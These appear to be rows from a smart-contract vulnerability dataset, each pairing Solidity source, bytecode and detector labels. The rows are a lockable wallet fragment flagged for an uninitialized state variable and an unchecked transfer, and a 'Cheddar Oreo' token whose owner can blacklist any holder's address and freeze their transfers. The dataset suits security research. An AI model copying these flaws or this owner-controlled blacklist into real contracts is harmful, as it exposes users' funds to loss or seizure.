function getRemainingTime()public view returns(uint256, uint256, uint256){// gets the remaining time in seconds
uint256 time = lockTime;
return (time.sub(now), time.sub(now).div(60), time.div(60).div(60)); // returns seconds, minutes, hours remaining;
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function queryERC20Balance(address _tokenAddress, address _addressToQuery) view public onlyOwner returns (uint) {
uint256 contractBalance = BEP20Interface(_tokenAddress).balanceOf(_addressToQuery);
return contractBalance;
}
}
contract timeChecker{
using SafeMath for uint256;
function checkRemainingSeconds(LockableWallet wallet) public view returns (uint256){
uint256 time = wallet.lockTime();
return time.sub(now).div(60); // returns minutes remaining;
}
function checkRemainingHours(LockableWallet wallet) public view returns (uint256){
uint256 time = wallet.lockTime();
return time.sub(now).div(60).div(60); // returns minutes remaining;
}
function checkRemainingDays(LockableWallet wallet) public view returns (uint256){
uint256 time = wallet.lockTime();
return time.sub(now).div(60).div(60).div(24); // returns minutes remaining;
}
}
|
0x6080604052600436106101025760003560e01c8063715018a611610095578063deaa59df11610064578063deaa59df1461027c578063ed182803146102af578063ee546a51146102c4578063efb98bcf146102ff578063f2fde38b1461033257610109565b8063715018a61461020a5780638da5cb5b1461021f578063a352584814610234578063c8e395151461024957610109565b80634d9b3735116100d15780634d9b373514610171578063521eb273146101865780636243f809146101b75780636dc7a627146101e157610109565b80630d6680871461010b5780632c4e722e146101325780634042b66f1461014757806348c54b9d1461015c57610109565b3661010957005b005b34801561011757600080fd5b50610120610365565b60408051918252519081900360200190f35b34801561013e57600080fd5b5061012061036b565b34801561015357600080fd5b50610120610371565b34801561016857600080fd5b50610109610377565b34801561017d57600080fd5b50610109610527565b34801561019257600080fd5b5061019b6105bb565b604080516001600160a01b039092168252519081900360200190f35b3480156101c357600080fd5b50610109600480360360208110156101da57600080fd5b50356105ca565b3480156101ed57600080fd5b506101f661066e565b604080519115158252519081900360200190f35b34801561021657600080fd5b50610109610677565b34801561022b57600080fd5b5061019b610719565b34801561024057600080fd5b50610120610728565b34801561025557600080fd5b506101096004803603602081101561026c57600080fd5b50356001600160a01b031661072e565b34801561028857600080fd5b506101096004803603602081101561029f57600080fd5b50356001600160a01b03166107a8565b3480156102bb57600080fd5b5061019b610822565b3480156102d057600080fd5b50610120600480360360408110156102e757600080fd5b506001600160a01b0381358116916020013516610831565b34801561030b57600080fd5b5061031461090e565b60408051938452602084019290925282820152519081900360600190f35b34801561033e57600080fd5b506101096004803603602081101561035557600080fd5b50356001600160a01b0316610952565b60055481565b60045481565b60065481565b61037f610a4a565b6000546001600160a01b039081169116146103cf576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b600554421015610426576040805162461bcd60e51b815260206004820181905260248201527f43757272656e74206c6f636b2070726576656e7473207769746864726177616c604482015290519081900360640190fd5b600154604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561047157600080fd5b505afa158015610485573d6000803e3d6000fd5b505050506040513d602081101561049b57600080fd5b50516001546003546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b1580156104f857600080fd5b505af115801561050c573d6000803e3d6000fd5b505050506040513d602081101561052257600080fd5b505050565b61052f610a4a565b6000546001600160a01b0390811691161461057f576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b6003546040516001600160a01b03909116904780156108fc02916000818181858888f193505050501580156105b8573d6000803e3d6000fd5b50565b6003546001600160a01b031681565b6105d2610a4a565b6000546001600160a01b03908116911614610622576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b6005544210156106635760405162461bcd60e51b8152600401808060200182810382526022815260200180610c1c6022913960400191505060405180910390fd5b610e10024201600555565b60075460ff1681565b61067f610a4a565b6000546001600160a01b039081169116146106cf576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60025481565b610736610a4a565b6000546001600160a01b03908116911614610786576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6107b0610a4a565b6000546001600160a01b03908116911614610800576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6001546001600160a01b031681565b600061083b610a4a565b6000546001600160a01b0390811691161461088b576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b6000836001600160a01b03166370a08231846040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156108da57600080fd5b505afa1580156108ee573d6000803e3d6000fd5b505050506040513d602081101561090457600080fd5b5051949350505050565b600554600090819081906109228142610a4e565b610937603c6109318442610a4e565b90610a97565b610946603c6109318582610a97565b93509350935050909192565b61095a610a4a565b6000546001600160a01b039081169116146109aa576040805162461bcd60e51b81526020600482018190526024820152600080516020610bfc833981519152604482015290519081900360640190fd5b6001600160a01b0381166109ef5760405162461bcd60e51b8152600401808060200182810382526026815260200180610bd66026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6000610a9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ad9565b9392505050565b6000610a9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610b70565b60008184841115610b685760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b2d578181015183820152602001610b15565b50505050905090810190601f168015610b5a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610bbf5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610b2d578181015183820152602001610b15565b506000838581610bcb57fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573734f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657263757272656e74204c6f636b74696d652063616e6e6f74206265206368616e676564a26469706673582212200cebf311152fb8d843c56d5239377f37abc5ab4862c1833410cc96412d5b84b464736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,587 |
0x23c7a640c76b6fa6320f6d2a8269fdca85ba91ce
|
/**
*Submitted for verification at Etherscan.io on 2022-02-25
*/
//tg: https://t.me/chedoreotoken
//Website: https://cheddaoreo.com
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract CHEDOREO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Cheddar Oreo";
string private constant _symbol = "CHEDOREO";
uint private constant _decimals = 9;
uint256 private _teamFee = 6;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (20 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 6, "not larger than 6%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f7578063cf0848f71461040c578063cf9d4afa1461042c578063dd62ed3e1461044c578063e6ec64ec14610492578063f2fde38b146104b257600080fd5b8063715018a6146103295780638da5cb5b1461033e57806390d49b9d1461036657806395d89b4114610386578063a9059cbb146103b7578063b515566a146103d757600080fd5b806331c2d8471161010857806331c2d847146102425780633bbac57914610262578063437823ec1461029b578063476343ee146102bb5780635342acb4146102d057806370a082311461030957600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b957806318160ddd146101e957806323b872dd1461020e578063313ce5671461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d2565b005b34801561017e57600080fd5b5060408051808201909152600c81526b43686564646172204f72656f60a01b60208201525b6040516101b091906118ef565b60405180910390f35b3480156101c557600080fd5b506101d96101d4366004611969565b61051e565b60405190151581526020016101b0565b3480156101f557600080fd5b50678ac7230489e800005b6040519081526020016101b0565b34801561021a57600080fd5b506101d9610229366004611995565b610535565b34801561023a57600080fd5b506009610200565b34801561024e57600080fd5b5061017061025d3660046119ec565b61059e565b34801561026e57600080fd5b506101d961027d366004611ab1565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a757600080fd5b506101706102b6366004611ab1565b610634565b3480156102c757600080fd5b50610170610682565b3480156102dc57600080fd5b506101d96102eb366004611ab1565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031557600080fd5b50610200610324366004611ab1565b6106bc565b34801561033557600080fd5b506101706106de565b34801561034a57600080fd5b506000546040516001600160a01b0390911681526020016101b0565b34801561037257600080fd5b50610170610381366004611ab1565b610714565b34801561039257600080fd5b50604080518082019091526008815267434845444f52454f60c01b60208201526101a3565b3480156103c357600080fd5b506101d96103d2366004611969565b61078e565b3480156103e357600080fd5b506101706103f23660046119ec565b61079b565b34801561040357600080fd5b506101706108b4565b34801561041857600080fd5b50610170610427366004611ab1565b61096c565b34801561043857600080fd5b50610170610447366004611ab1565b6109b7565b34801561045857600080fd5b50610200610467366004611ace565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049e57600080fd5b506101706104ad366004611b07565b610c12565b3480156104be57600080fd5b506101706104cd366004611ab1565b610c87565b6000546001600160a01b031633146105055760405162461bcd60e51b81526004016104fc90611b20565b60405180910390fd5b6000610510306106bc565b905061051b81610d1f565b50565b600061052b338484610e99565b5060015b92915050565b6000610542848484610fbd565b610594843361058f85604051806060016040528060288152602001611c9b602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d8565b610e99565b5060019392505050565b6000546001600160a01b031633146105c85760405162461bcd60e51b81526004016104fc90611b20565b60005b8151811015610630576000600560008484815181106105ec576105ec611b55565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062881611b81565b9150506105cb565b5050565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016104fc90611b20565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610630573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052f90611412565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104fc90611b20565b6107126000611496565b565b6000546001600160a01b0316331461073e5760405162461bcd60e51b81526004016104fc90611b20565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b600061052b338484610fbd565b6000546001600160a01b031633146107c55760405162461bcd60e51b81526004016104fc90611b20565b60005b815181101561063057600c5482516001600160a01b03909116908390839081106107f4576107f4611b55565b60200260200101516001600160a01b0316141580156108455750600b5482516001600160a01b039091169083908390811061083157610831611b55565b60200260200101516001600160a01b031614155b156108a25760016005600084848151811061086257610862611b55565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108ac81611b81565b9150506107c8565b6000546001600160a01b031633146108de5760405162461bcd60e51b81526004016104fc90611b20565b600c54600160a01b900460ff166109425760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104fc565b600c805460ff60b81b1916600160b81b17905542600d819055610967906104b0611b9c565b600e55565b6000546001600160a01b031633146109965760405162461bcd60e51b81526004016104fc90611b20565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016104fc90611b20565b600c54600160a01b900460ff1615610a495760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104fc565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac49190611bb4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b359190611bb4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b82573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba69190611bb4565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c3c5760405162461bcd60e51b81526004016104fc90611b20565b6006811115610c825760405162461bcd60e51b81526020600482015260126024820152716e6f74206c6172676572207468616e20362560701b60448201526064016104fc565b600855565b6000546001600160a01b03163314610cb15760405162461bcd60e51b81526004016104fc90611b20565b6001600160a01b038116610d165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104fc565b61051b81611496565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6757610d67611b55565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de49190611bb4565b81600181518110610df757610df7611b55565b6001600160a01b039283166020918202929092010152600b54610e1d9130911684610e99565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e56908590600090869030904290600401611bd1565b600060405180830381600087803b158015610e7057600080fd5b505af1158015610e84573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610efb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fc565b6001600160a01b038216610f5c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fc565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110215760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fc565b6001600160a01b0382166110835760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fc565b600081116110e55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104fc565b6001600160a01b03831660009081526005602052604090205460ff161561118d5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104fc565b6001600160a01b03831660009081526004602052604081205460ff161580156111cf57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e55750600c54600160a81b900460ff16155b80156112155750600c546001600160a01b03858116911614806112155750600c546001600160a01b038481169116145b156113c657600c54600160b81b900460ff166112735760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104fc565b50600c546001906001600160a01b0385811691161480156112a25750600b546001600160a01b03848116911614155b80156112af575042600e54115b156112f65760006112bf846106bc565b90506112df60646112d9678ac7230489e8000060026114e6565b90611565565b6112e984836115a7565b11156112f457600080fd5b505b600d54421415611324576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132f306106bc565b600c54909150600160b01b900460ff1615801561135a5750600c546001600160a01b03868116911614155b156113c45780156113c457600c5461138e906064906112d990600f90611388906001600160a01b03166106bc565b906114e6565b8111156113bb57600c546113b8906064906112d990600f90611388906001600160a01b03166106bc565b90505b6113c481610d1f565b505b6113d284848484611606565b50505050565b600081848411156113fc5760405162461bcd60e51b81526004016104fc91906118ef565b5060006114098486611c42565b95945050505050565b60006006548211156114795760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104fc565b6000611483611709565b905061148f8382611565565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f55750600061052f565b60006115018385611c59565b90508261150e8583611c78565b1461148f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104fc565b600061148f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061172c565b6000806115b48385611b9c565b90508381101561148f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104fc565b80806116145761161461175a565b60008060008061162387611776565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165090856117bd565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167f90846115a7565b6001600160a01b0389166000908152600160205260409020556116a1816117ff565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e691815260200190565b60405180910390a3505050508061170257611702600954600855565b5050505050565b6000806000611716611849565b90925090506117258282611565565b9250505090565b6000818361174d5760405162461bcd60e51b81526004016104fc91906118ef565b5060006114098486611c78565b60006008541161176957600080fd5b6008805460095560009055565b60008060008060008061178b87600854611889565b915091506000611799611709565b90506000806117a98a85856118b6565b909b909a5094985092965092945050505050565b600061148f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d8565b6000611809611709565b9050600061181783836114e6565b3060009081526001602052604090205490915061183490826115a7565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118648282611565565b82101561188057505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189c60646112d987876114e6565b905060006118aa86836117bd565b96919550909350505050565b600080806118c486856114e6565b905060006118d286866114e6565b905060006118e083836117bd565b92989297509195505050505050565b600060208083528351808285015260005b8181101561191c57858101830151858201604001528201611900565b8181111561192e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051b57600080fd5b803561196481611944565b919050565b6000806040838503121561197c57600080fd5b823561198781611944565b946020939093013593505050565b6000806000606084860312156119aa57600080fd5b83356119b581611944565b925060208401356119c581611944565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119ff57600080fd5b823567ffffffffffffffff80821115611a1757600080fd5b818501915085601f830112611a2b57600080fd5b813581811115611a3d57611a3d6119d6565b8060051b604051601f19603f83011681018181108582111715611a6257611a626119d6565b604052918252848201925083810185019188831115611a8057600080fd5b938501935b82851015611aa557611a9685611959565b84529385019392850192611a85565b98975050505050505050565b600060208284031215611ac357600080fd5b813561148f81611944565b60008060408385031215611ae157600080fd5b8235611aec81611944565b91506020830135611afc81611944565b809150509250929050565b600060208284031215611b1957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9557611b95611b6b565b5060010190565b60008219821115611baf57611baf611b6b565b500190565b600060208284031215611bc657600080fd5b815161148f81611944565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c215784516001600160a01b031683529383019391830191600101611bfc565b50506001600160a01b0396909616606085015250505